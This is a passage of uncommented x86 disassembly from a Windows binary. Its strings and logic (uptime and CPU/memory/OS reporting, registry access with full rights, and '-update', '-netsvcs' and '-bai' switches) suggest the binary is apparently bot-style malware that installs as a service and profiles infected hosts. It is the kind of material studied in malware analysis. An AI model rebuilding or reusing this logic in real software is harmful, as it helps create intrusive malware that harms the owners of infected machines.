		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2920000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23CA4B8h
		dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0AD8CE890h, 548D023Bh, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3CA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
		dd 23BAC46h, 1024448Dh,	78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 0E850FFFFh
		dd 23CA234h, 6A006A90h,	6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23BAB06h,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 3CA0E7E8h, 6A9002h, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 0A9B8E850h, 8D90023Bh, 8D102454h, 5278244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 3C9FA7E8h, 6A9002h, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 77E89050h, 8D023BA8h, 8D102444h, 5078244Ch, 0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 27C08B0h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F70
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27C08B0h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2800000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 27F0000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 27E11B4h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2910000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
